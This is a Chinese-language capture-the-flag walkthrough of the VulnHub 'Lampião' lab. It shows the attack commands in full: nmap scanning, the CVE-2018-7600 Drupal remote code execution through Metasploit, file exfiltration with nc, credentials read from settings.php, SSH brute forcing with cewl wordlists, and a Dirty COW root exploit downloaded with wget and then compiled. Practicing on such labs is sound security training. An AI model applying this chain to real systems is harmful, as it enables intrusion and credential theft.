vulnhub|渗透测试lampiao

题记

最近在打靶机,发现了一个挺有意思的靶机,这里想跟大家分享一下.

环境准备

vulnhub最近出的一台靶机

靶机
Lampiao.zip (Size: 669 MB)

Download: https://mega.nz/#!aG4AAaDB!CBLRRYQsAhTOyPJqyjC0Blr-weMH9QMdYbPfMj0LGeM

Download (Mirror): https://download.vulnhub.com/lampiao/Lampiao.zip

Download (Torrent): https://download.vulnhub.com/lampiao/Lampiao.zip.torrent ( Magnet)

攻击机 Kali IP 10.10.10.128

靶机在同一C段下 IP 10.10.10.129

主机发现

使用命令nmap -sP 192.168.107.1/24

起始Ip 10.10.10.1,攻击机的ip是10.10.10.128,而10.10.10.254是结束ip。因为环境配置为dhcp动态分布,所以说我们的靶机ip就是10.10.10.129

端口扫描

我们需要知道目标机器上开了哪些端口,运行了哪些服务,利用某些服务的漏洞来进行攻击,所以我们先进行端口扫描。

之前用nmap -sS 只扫出来个22端口,于是尝试ssh弱口令爆破,未果,

利用题目信息生成字典,未果,访问网站,发现如下是个静态页面什么也没有。文件头,源代码中无有效信息。

后来反应过来,有可能网站还有其它端口可以访问,因为-sS参数是扫描常用的1000以内的端口号。于是用-p-参数:nmap -p- 10.10.10.129

扫出1898端口,于是访问,发现是个web服务端口:

大致对网站浏览下,查找下功能点。主要是进行信息收集

目录扫描

信息收集中非常重要的一步。这里我使用御剑扫描,可以看到,扫出来了robots.txt

于是访问robots.txt

发现敏感文件/CHANGELOG.txt,一个记录更新的日志,访问发现是Drupal为框架的网站,最近一次更新为7.54

获取会话

其它目录暂无发现有用信息,搜集到大致的敏感信息后于是搜索其对应的漏洞利用,推荐使用msf,非常全面,而且方便,使用前记得msfdb start启动其连接的数据库,这样查找速度会很快

ps(kali默认是2.0版本也就是16年的,建议搜索前保证kali是最新版,漏洞才更全。现在用的是rolling更新源了。其他的源的话更新会报错。kali rolling 修改更新源

msf启动后,search drupal搜索其存在的对应漏洞,发现如下。

使用2018年这个漏洞。Drupal 在3月28日爆出的一个远程代码执行漏洞,CVE编号CVE-2018-7600。分析及 PoC 构造:
推荐连接

我们直接利用,设置好目标主机10.10.10.129,目标端口号1898,查看以及设置目标操作系统类型,然后run执行,可以看到获取到了一个会话

执行shell获取交互式命令,由于我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端,命令如下:python -c 'import pty; pty.spawn("/bin/bash")'

寻找突破口

果不其然是www-data用户,说明需要提权,ls -al查看网站根目录有些什么东西发现有几个东西不是网站根目录应该有的,所以应该可以获得什么重要信息,所以把这些文件传输到攻击机上一一查看

  1. 先在攻击机上使用命令nc =-lvp 1234>接受的文件名准备接收文件
  2. 在靶机使用nc -w 3 10.10.10.12<要传输的文件名传输文件

在攻击机中打开,audio.m4a,lampiao.jpg,LuizGonzaga-LampiaoFalou.mp3,qrc.png如下发现

  1. qrc.png:一个二维码,扫出来的结果是 Try harger! muahuahuahua,被作者鼓励了。。

  2. audio.m4a:提示为user tiago,说明要先找到用户tiago的密码

  3. uizGonzaga-LampiaoFalou.mp3:一首音乐,丢入隐写工具没发现什么异常

  4. lampiao.jpg:一张牛仔的图片,丢入binwlak中未发现有什么隐写

继续翻目录,找文件,在var/www/html/sites/default目录下找到配置文件settings.php,发现敏感信息,tiago以及密码,很有可能就是其系统用户tiago的密码

获取普通用户权限

尝试登陆tiago用户,发现成功了。获取tiago用户的权限,根据提示及题目背景,发现tiago和lampiao很有些关系,那首音乐又提示说tiago。
然后试了试mysql数据库root的密码,结果密码也是tiago的登陆密码,成功获取Mysql数据库的root权限。我想tiago的提示也许就是这个意思吧

在Mysql数据库中发现有drupal数据库,网站所有用户的信息就在这里了。这应该就是tiago这个用户最大的用处了吧,

尝试爆破root密码

获得普通用户的权限后,接下来的一步就是提权到最高的root权限了。通过前面收集的所有信息生成社工字典,ssh爆破,未成功,

使用cewl
一个通过爬取网站上关键信息生成字典的一个神器,命令cewl 1.1.1.1 -m 3 -d 3 -e -c -v -w a.txt,爆破ssh未果

内核提权:

uname -a查看当前内核版本:

这里需要去网上搜适合的exp了。推荐使用kali自带的searchsploit
,非常全面,方便,当然也可以去网上搜,

这里我们利用的是CVE-2016-5195:脏牛(Dirty Cow)漏洞-Linux一个内核本地提权漏洞 ,黑客通过远程入侵获取低权限用户后,利用该漏洞在全版本Linux系统服务器上实现本地提权,从而获取到服务器root权限。

漏洞影响范围:Linux Kernel >= 2.6.22 的所有 Linux 系统

意味着从 2007 年发布 2.6.22 版本开始,直到2016年10月18日为止,这中间发行的所有 Linux 系统都受影响。而我们的靶机为ubuntu14.04.5更新时间为16年-8月-05所以存在漏洞

漏洞通过及修复

使用wget命令,下载提权exp到靶机:wget https://www.exploit-db.com/download/40847.cpp

c++格式的文件,先编译,编译命令g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

  1. -Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告

  2. -pedantic 允许发出ANSI/ISO C标准所列出的所有警告

  3. -O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
  4. -std=c++11就是用按C++2011标准来编译的
  5. -pthread 在Linux中要用到多线程时,需要链接pthread库
  6. -o dcow gcc生成的目标文件,名字为dcow

./dcow -s 执行。提权成功

目标机上如果没有编译环境,这时候,我们可以本地搭建和目标机一样的环境,在本地编译好提权exp后,在目标机器上运行即可

Get flag

flag肯定在root目录下。所以cd到root然后看到flag.txt ,cat查看一下。得到flag,通关。

源链接

Hacking more

...